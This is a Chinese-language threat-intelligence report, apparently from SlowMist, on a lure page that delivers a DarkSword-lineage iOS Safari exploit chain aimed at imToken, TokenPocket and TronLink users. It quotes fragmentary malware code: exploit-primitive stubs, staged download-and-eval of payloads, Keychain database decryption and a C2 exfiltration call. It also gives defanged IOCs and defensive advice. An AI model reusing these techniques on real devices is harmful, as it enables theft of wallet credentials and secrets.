威胁情报|iOS Safari DarkSword 窃取钱包资产
背景
一个免费赠送 VPS 的活动页面,实则是一张诱饵。从公开网页存档恢复的页面显示,2026 年 8 月末注册的 event[.]polarnode[.]vip 把 https[:]//lk[.]wyincc[.]com/lk.js 声明为预加载脚本,页面可交互后自动加载,访客无需点击。

对保存的 loader 样本解码后我们确认,它面向运行 iOS 18.4–18.6.2 的 iPhone 纯 Safari 投递,最终指向文件、钥匙串(Keychain)和键盘输入采集,目标为三款钱包应用。这条链与 Google Threat Intelligence Group (GTIG) 公布的 DarkSword iOS 利用链高度一致,对应六个 CVE,属 n-day 复用。
本文分析基于 1k[.]wyincc[.]com/lk[.]js 的主体 loader 样本与 urlscan 保存的 lk[.]wyincc[.]com/lk[.]js 快照,对六个 CVE 与后利用能力的分析限定于 /dist/sandbox.html 链。
该手法并非孤例。socket.dev 同期报告披露,13 个恶意 Packagist 主题通过 WebKit 到内核的利用链窃取设备数据与钱包助记词,所用 CVE 与本报告的 DarkSword 对应有重叠。
本文分析基于静态证据,未运行样本、未打开 iframe,也未把任何响应交给浏览器或 JavaScript 引擎。取证阶段的远程下载与合成 C2 请求均在单独授权下完成,未发送真实设备数据。文中对代码能力的描述表示代码存在相应实现或调用路径,不代表相关操作已在真实设备上成功发生。
MistEye 响应
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控系统,集成了安全监控与情报聚合能力,为用户提供实时的风险预警与资产守护。
MistEye 在收到该样本后,还原了从设备筛选、隐藏 iframe 投递到多阶段利用与后利用的完整攻击链,提取相关域名、IP 与恶意文件 IOC,并将恶意包及 IOC 接入威胁检测引擎,向相关用户下发风险告警与处置建议。

以下为详细技术分析。
解码
样本没有换行符,一行到底。它的混淆分三层:一个 1,025 项的字符串数组,启动时由一个立即执行函数整体左移,以及逐字符串的自定义 Base64 与 RC4。自定义字母表把小写字母排在大写字母之前:
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=
解码产物 SHA-256 为 38b43a6d27b08ff94a600fbe8182b4a2ba0eb744f68801a2d3454431f78e9fa5。解码器只读取文本并做自己的 Base64/RC4 变换,不求值任何 JavaScript。
明文还原出一份固定配置:服务端 https[:]//lk[.]wyincc[.]com,首选 SDK 端点 13[.]248[.]210[.]49:36887,后备端点 66[.]117[.]225[.]238:36887,20 秒心跳,device_source 为 782391,客户端标识 web-sdk V1.0。配置还嵌了一段 RSA 公钥,SHA-256 为 85ec8a4c83463565b3a517b6ee9d010fbf6643c49a67245c64b27bd8a0e43681,后续阶段用它加密发往 SDK 端点的流量。
配置里三款目标应用值得先标出来:imToken (im.token.app)、TokenPocket (com.global.wallet.ios) 和 TronLink (com.tronlink.hdwallet)。同一组标识稍后再次出现在键盘采集任务里。
定向与投递
解码后的第一件事是决定把载荷给谁。本文主体分析的 1k[.]wyincc[.]com loader 样本用 /iPhone OS (\d+)[_.](\d+)/i 解析 navigator.userAgent,混淆算术化简后,版本判断等价于:
if (major !== 18 || minor < 4 || minor > 6) return;在该 loader 样本中,只有 iPhone 形态的 iOS 18.4–18.6.x 能通过。浏览器判断还要求同时含 Safari/、Version/ 和 Mobile/... Safari,并排除 iOS 上的 Chrome、Firefox、Opera、Edge(CriOS、FxiOS、OPiOS、EdgiOS),以及微信、QQ、Telegram、支付宝和一批社交、新闻应用的内嵌 WebView。正则只匹配 iPhone OS,不匹配 iPad 使用的 CPU OS。
urlscan 保存的页面实际引用的 loader 快照没有移除上述分支:运行 iOS 18.4–18.6.2 的 iPhone 仍进入 /dist/sandbox.html。与主体分析的 loader 样本相比,它还使用 iPhone|iPod 做全局设备匹配,把 iPod touch 也纳入,并增加 iOS 15.2 至 17.1 的白名单,把这些旧版本与 iPod touch 交接至额外的 /group.html 分支。
没有通过筛选的访客不会被简单忽略。代码把当前页面的所有子元素隐藏,显示一个多语言提示,让用户复制地址再用 Safari 打开。这是一个兼容提示,同时也主动把访客引向利用需要的浏览器环境。

通过筛选的访客会进入执行锁和冷却逻辑:收到 pe_injected、chain_locked 消息后写入本地状态和 cookie,防止同一设备重复触发。UID 由时间戳加随机字符组成。两个消息监听器只检查 event.data.type,不校验 event.origin 或 event.source,同页其他 frame 可以伪造这些消息提前触发锁或冷却。
交付链
以下完整交付链分析适用于两个加载器共同保留的 /dist/sandbox.html 分支。页面实际引用的 loader 快照额外包含 /group.html 并行分支,但该路径被前置 WAF 以 HTTP 403 拦截,本次未取得其下游内容;因此本文不把该分支归入后述 DarkSword 谱系、六个 CVE 或数据采集能力。
在运行 iOS 18.4–18.6.2 的 iPhone 通过筛选后,加载器构造一个隐藏 iframe,地址模板固定为:
https://lk.wyincc.com/dist/sandbox.html?d=<URL-encoded Base64 JSON>
初始 loader 到 sandbox.html 的配置传递已确认通过 URL 的 ?d= 参数完成。d 承载 URL 编码的 Base64 JSON,内容包括当前站点 origin、hostname、utm_source、会话 UID,以及 SDK 端点、RSA 公钥、device_source 和目标钱包配置。因为 UID 和站点字段在运行时生成,没有唯一的固定第三阶段 URL 可以预先还原。为继续跟踪,我们用配置里重建的参数在取证条件下取得了 sandbox.html。
iframe 用一段样式保持在屏幕外、不可见。sandbox 页面随后通过动态 script 元素加载 chunks/vendor.js。vendor 再次检查版本并分路:iOS 18.6 下载 runtime.js 并封装成 Blob Worker;iOS 18.4、18.5 下载 runtime-legacy.js,另取并在页面里 eval polyfill.js。legacy RCE 路径通过页面上下文与 Worker 上下文之间的 postMessage 传递和同步利用状态,协调 RCE 原语建立及后续阶段交接;这不同于上文仅负责执行锁/冷却的 pe_injected、chain_locked 消息监听器。
后面的每一段都只在前一段成功后下载。整条链包含两层沙箱逃逸,代码分别以 SBX0、SBX1 标识:SBX0 把执行从网页内容进程带到 GPU 进程,SBX1 再从 GPU 进程带到 mediaplaybackd。
runtime.js(18.6)利用 CVE-2025-43529(JavaScriptCore DFG JIT 的垃圾回收缺陷导致的内存破坏)配合 CVE-2026-20700(dyld 用户态 PAC 指针认证绕过),建立 JavaScriptCore/WebKit 的远程代码执行(RCE)原语:对象地址 addrof、伪对象 fakeobj、任意读写、PAC(指针认证)处理和原生调用,然后同步取得并 eval framework.js。runtime-legacy.js 与 polyfill.js 为 18.4/18.5 提供同样原语,对应 CVE-2025-31277(JavaScriptCore JIT 优化/类型混淆导致的内存破坏)与 CVE-2026-20700。
// runtime.js(18.6)——RCE 原语functionaddrof(object){ return BigInt.fromDouble(p_rce.addrof(object)) }functionfakeobj(addr){ return p_rce.fakeobj(addr.asDouble()) }// read32 / read64 / write8 / write64 在同一 fakeobj/scribble 机制上构建
// runtime.js —— SBX0 交接(eval framework.js) print("[RCE] 开始加载 SBX0 沙箱逃逸...");const sbx0_script = getJS("framework.js?" + Date.now());eval(sbx0_script)framework.js 实现 SBX0——利用 CVE-2025-14174(ANGLE/WebGL 中特定操作参数校验不足导致的越界内存读写),把执行从网页内容进程带到 GPU 进程,在 SBX0 SUCCEEDED 分支后加载 common.js;framework-legacy.js 是 legacy 对应物。
// framework.js —— SBX0 入口 print("[SBX0] ======== sbx0_main.js eval 开始 ========");const { write8, read32, read64, write64, dlopen, dlsym, device_model, chipset } = p;common.js 实现 SBX1——利用 CVE-2025-43510(XNU 内核写时复制(COW)内存管理缺陷),从 GPU 进程逃逸到权限更高的 mediaplaybackd,包含其 XPC 端点、IOSurface/Scaler 路径和 sbx1sbx1_exp 例程,然后加载 app.js;common-legacy.js 复用已有的 app.js。
// common.js —— SBX1 的 mediaplaybackd XPC 锚点与提权交接let XPC_ENDPOINT_REMAKER = "com.apple.coremedia.mediaplaybackd.remaker.xpc"; remaker_connection = xpc_connection_create_mach_service(XPC_ENDPOINT_REMAKER, 0n, 0n);functionspawn_pe(){ LOG("Spawning PE...."); let pe_stage1_js_data_array = newUint8Array([...]); }
app.js 利用 CVE-2025-43520(XNU 虚拟文件系统 VFS 的内核竞态条件导致的内存破坏)构建内核读写与提权原语,含内核读写封装、MigFilterBypass、沙箱扩展 applySandboxEscape、崩溃报告删除,以及取得三个插件并注入三个系统进程的协调逻辑。三个插件为 sync.js、auth.js 和 input.js,并恢复出与三类插件一一对应的三个任务脚本。
// app.js —— 内核读写与提权入口let kernel_base = 0n; let kernel_slide = 0n; let is_a18_devices = false;functionpe_v1() { /* ... */ }三条注入路径各自发起一次明文 HTTP GET 取得插件,再把响应交给对应进程:
var inject = new InjectJS("SpringBoard", agentCode, migFilterBypass);if (inject.inject()) { ... }三个目标分别是 SpringBoard(sync.js)、securityd(auth.js)和 kbd(input.js);恢复出的三个任务脚本分别对应这三类插件,并由代码协调注入任务代理。代码里的 SBX0 SUCCEEDED、SBX1 SUCCEEDED 是状态分支字符串,不是我们观察到的成功日志。
关于来源要补一句。lk[.]wyincc[.]com 对 legacy 分支资源(runtime-legacy.js、polyfill.js、framework-legacy.js、common-legacy.js)返回 HTTP 403,我们从 1k[.]wyincc[.]com 这一关联载荷托管节点取得这四个文件;该节点此前已验证在共享的 vendor.js、runtime.js 上与页面实际引用的主机响应逐字节一致,但我们不声称这些 legacy 文件与取不到的 lk 响应逐字节等价。两个条件资源 powercuff_light.js、chain_status_overlay.js 在页面实际引用的主机返回 403、关联载荷托管节点返回 404 HTML,没有可分析的脚本。
DarkSword 谱系
代码里有几处独特痕迹,与一份公开记录过的工具吻合。app.js 包含注释 "If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions",以及 MigFilterBypass 类、Chain.runPE() 后接 Sandbox.applySandboxEscape()、删除 systemgroup.com.apple.osanalytics/DiagnosticReports/ 目录和 startSandworm 工具引用。版本分路(18.4/18.5 与 18.6)和 SBX0 → SBX1 → PE 的阶段职责,也与 GTIG 公布的 DarkSword 分析一致。Apple 安全公告另行确认了相应 CVE 与修复版本。
反混淆后的 app.js 保留了几处可直接识别的痕迹:
// app.js —— migbypass 版本分路(DarkSword 独特注释)// If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictionsif (ver.major == 24 && ver.minor >= 4) { /* migbypass */ }
// 内嵌 MigFilterBypassThread.js 中的 Chain 内核读写封装staticrunPE() { /* ... */ }staticgetKernelBase() { /* ... */ }staticread(srcAddr, dst, len) { /* ... */ }staticwrite(dst, src, len) { /* ... */ }
// startSandworm 工具引用(源码中以注释形式保留)// let baseKernel = startSandworm();据此我们把本地阶段对应到六个 CVE:

GTIG 最初观察 DarkSword 时,CVE-2025-43529、CVE-2026-20700 与 CVE-2025-14174 属于在野 0day;截至本次 2026 年 9 月 WYINCC 活动,六个漏洞均已公开并获得 Apple 修复,因此当前投递是对 DarkSword 六漏洞链的 n-day 复用。修复版本和历史 0day 状态依据 GTIG 报告与 Apple 安全公告。
三份 C2 任务
为了弄清链路最终让注入的代理做什么,我们在单独授权下用合成 UID 和空的站点字段,向两个 SDK 端点各发起最小 requestJsCode 请求,累计每端点两次。整个过程没有发送设备注册、心跳、Keychain、键盘或应用数据。
首选端点 13[.]248[.]210[.]49:36887 两次建连都返回 54,773 字节响应;后备端点 66[.]117[.]225[.]238:36887 两次建连都返回空。响应经 AES-256-GCM 加密并封装为 SSP2 帧。我们用保存的会话密钥完成离线解密、LZFSE 解压和 SSP2/JSON/Base64 校验,恢复出三份任务脚本。三份任务都没有执行。
三份任务各对应一个被注入的进程:
SpringBoard 任务按服务端 apps_json 配置,从应用容器、共享 AppGroup 或绝对路径递归枚举文件,分块上传,附带逐文件 SHA-256 和断点续传;task_type 为 1 或 4 时,还会 Base64 解码并 eval 服务端下发的 JavaScript,把结果回传。
securityd 任务打开 /private/var/Keychains/keychain-2.db,查询 genp、inet 表,并用私有类 SecDbKeychainItemV7 解密 data blob,提取 v_Data、acct、svce、agrp 后上报。
kbd 任务监控前台应用;当目标钱包应用处于前台时,轮询键盘内部 ivar(_inputString、_contextBeforeInput、_contextAfterInput),在输入结束或应用切换时把缓存内容作为 reportAppPwd 上报。
Keychain 采集
securityd 任务对应插件 auth.js。app.js 取回 GET /dist/plugins/auth.js 后以 InjectJS("securityd", ...) 把代码注入 securityd,借链里建立的原生调用(dlsym、objc_msgSend)从 JavaScript 直接调用 ObjC,只读打开钥匙串库:
sqlite3_open_v2("/private/var/Keychains/keychain-2.db", dbHandlePtr, SQLITE_OPEN_READONLY, 0)它只遍历 genp(通用密码)、inet(互联网密码)两表(SELECT *,按 agrp LIKE '%keyword%' 过滤,每表最多 500 行;关键词为空时退化为 1=1 遍历全部)。data 列是加密 BLOB,代码不破解 keybag,而是利用已处于 securityd 内,动态调用私有类 SecDbKeychainItemV7 的方法(initWithData:decryptionKeybag:error: 等)解密,读出秘密值 v_Data 并提取 acct、svce、agrp:
var tables = ["genp", "inet"];var cls = ncall("objc_getClass", _sp("SecDbKeychainItemV7"));task_type == 3 触发 dump(关键词来自服务端 apps_json 或 content;task_type == 4 还可对服务端脚本 eval 扩展采集),结果经 reportKeychain 走 SSP2 / AES-256-GCM / RSA 封装的 C2 通道上报:
sendReport("reportKeychain", { keychain: b64, task_id: taskId || "" });总结
我们确认这是一套面向运行 iOS 18.4–18.6.2 的 iPhone 纯 Safari 的访问触发型多阶段利用与后利用框架,对应 DarkSword 谱系。风险落在三款钱包应用——imToken、TokenPocket 和 TronLink——上:代码具备浏览器 RCE、两层沙箱逃逸、内核读写,以及向 SpringBoard、securityd、kbd 注入代理的能力,采集对象覆盖文件、Keychain 和键盘输入。
GTIG 最初观察 DarkSword 时的三项在野 0day 到本次活动时均已公开并获得 Apple 修复,WYINCC 当前投递应定性为六漏洞链的 n-day 复用。lk[.]wyincc[.]com 页面实际引用的 loader 快照还含一个面向旧版本 iOS 与 iPod touch 的 /group.html 分支,被前置 WAF 以 HTTP 403 拦截、未取得下游,因此六个 CVE 与数据采集结论只适用于 /dist/sandbox.html 分支。
建议
1.在网络边界(代理、DNS、EDR/NDR)阻断 wyincc[.]com、polarnode[.]vip 域名和三个 36887 端点,检索日志中运行 iOS 18.4–18.6.2 的 iPhone UA 对 /dist/sandbox.html、/dist/chunks/、/dist/plugins/ 等路径的访问,并检索 iOS 15.2 至 17.1(包括可能的 iPod touch)UA 对 /group.html 的访问。前者属于已知完整链暴露;后者只能确认命中本次未取得的下游分支,不能直接套用六个 CVE 或钱包数据采集结论。
2.若自有站点曾被注入该脚本,从页面与 CDN、对象存储缓存中移除脚本,核对模板、标签管理器和广告系统的引入来源,并部署 CSP/SRI 限制第三方脚本继承站点上下文。
3.对确曾访问投递页面且运行 iOS 18.4–18.6.2 Safari 的 iPhone 设备优先取证,收集 Safari 历史、WebKit 崩溃、进程异常与 Keychain 访问记录;对命中 /group.html 的 iOS 15.2 至 17.1 iPhone 或 iPod touch 设备保留相同基础证据,但不要仅凭路径命中断言利用成功或数据被采集。
4.对使用以下三款目标钱包的用户:imToken、TokenPocket 和 TronLink,结合设备取证结果决定是否轮换凭据、撤销会话、监控链上地址与交易;不要仅凭访问记录断言私钥或助记词已泄露。
5.把设备升级到 Apple 已修复的版本(iOS/iPadOS 18.7.3 或 26.3 及以上),并保留原始响应、会话密钥与散列,用于后续关联分析。
IOC
域名
1k[.]wyincc[.]com
lk[.]wyincc[.]com
event[.]polarnode[.]vip
polarnode[.]vip
IP
13[.]248[.]210[.]49
66[.]117[.]225[.]238
166[.]117[.]225[.]238
Url
13[.]248[.]210[.]49:36887
66[.]117[.]225[.]238:36887
166[.]117[.]225[.]238:36887
https[.]//lk[.]wyincc[.]com/lk.js
https[.]//1k[.]wyincc[.]com/lk.js
恶意文件
filename: lk.js
SHA256: 89912ab03eb2d02746e52df7b17035082d973234f249098caec11684e665c337
filename: lk.js
SHA256: 892dd644ea9a10fd4d89c54d6cfe1028487c3fc23d3f29723af9004b6edf8c70
filename: sandbox.html
SHA256: 953cfa9bf94304ad453eab706cd7cc92cde68eb6ea3c85652aa9040609e75f54
filename: vendor.js
SHA256: 52e2208a37c6dda971c9a67333dbcf526531745feb426a91ace9741ad178f510
filename: runtime.js
SHA256: a5ebcbd5c744865535dd75d8742c99bc06b548dc2606ac6f116843b54451f73b
filename: runtime-legacy.js
SHA256: afdb430bafc3c441ada98fe4a165fd1ad3a38ff5789517c5dd3f83a143706d53
filename: polyfill.js
SHA256: f0409f0d1c134be43dcd697b4715cca64efa66e482d252744163f552050cd236
filename: framework.js
SHA256: 78973b4d04cb6fee3c399937476347eca0aa9b99fa13596fe9dfaff829aba03b
filename: framework-legacy.js
SHA256: 36b43f98c7f4d2d5a0f14ce8a5bdfd2fc055f8628da4a2d9ece2402385447f1e
filename: common.js
SHA256: 69e357f06ee87ea934b328c4e701d1d48dcfcef51352bb61c64ef89424c029d8
filename: common-legacy.js
SHA256: 693af544eb4deb194f481a870f1202fefb0c278820bb23bced85cd354d29a63e
filename: app.js
SHA256: ab356a2bbdbb7f8e9327e10a2cf6d35ca0c4dbba06d982f559b00d13d31f3017
filename: sync.js
SHA256: 6eda3586102cf35ca53189accd2f56fec63a8adf74ccf93b59aed1e7651a690f
filename: auth.js
SHA256: 78406a0c68043df99cea87f280e8307675c285ca9d88f5a56aa9901c6f503d11
filename: input.js
SHA256: 3a2341a13a7c4854bc203be18eebd11f716e043540a91974ef6d6d12253f6c9d
关于 MistEye
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控平台,通过 API 提供开源包生态的恶意活动检测与供应链风险预警能力。
本次行动涉及的全部恶意包及 IOC 已接入 MistEye 威胁检测引擎,开发者可通过 API 对项目依赖进行自动化检测,快速判定是否命中已知恶意包并获取处置建议。
API 文档:https://app.misteye.io/api-docs
MistEye-DepScan:https://github.com/slowmist/MistEye-DepScan轻量级 CLI 工具,一行命令扫描项目依赖与全局安装包中的已知恶意包,支持 npm / PyPI / Cargo / Go / RubyGems 生态
MistEye-Skills:https://github.com/slowmist/misteye-skillsAI 编码助手安全技能包,在依赖安装与 URL 访问前自动触发 MistEye 安全检测
MistEye-DNS-Guard:https://github.com/slowmist/MistEye-DNS-GuardDNS 安全防护工具,检测恶意域名与风险访问,识别钓鱼、C2 等网络威胁
本文由 SlowMist 威胁情报团队结合 MistEye 威胁情报系统、SlowMist Agent AI驱动分析编写,有任何问题欢迎咨询反馈。
参考
[1]https://socket.dev/blog/packagist-themes-ios-spyware
[2]https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain
[3]https://support.apple.com/en-bw/125885
[4]https://support.apple.com/en-me/125633
[5]https://support.apple.com/en-us/126346
[6]https://www.nodeseek.com/post-905477-1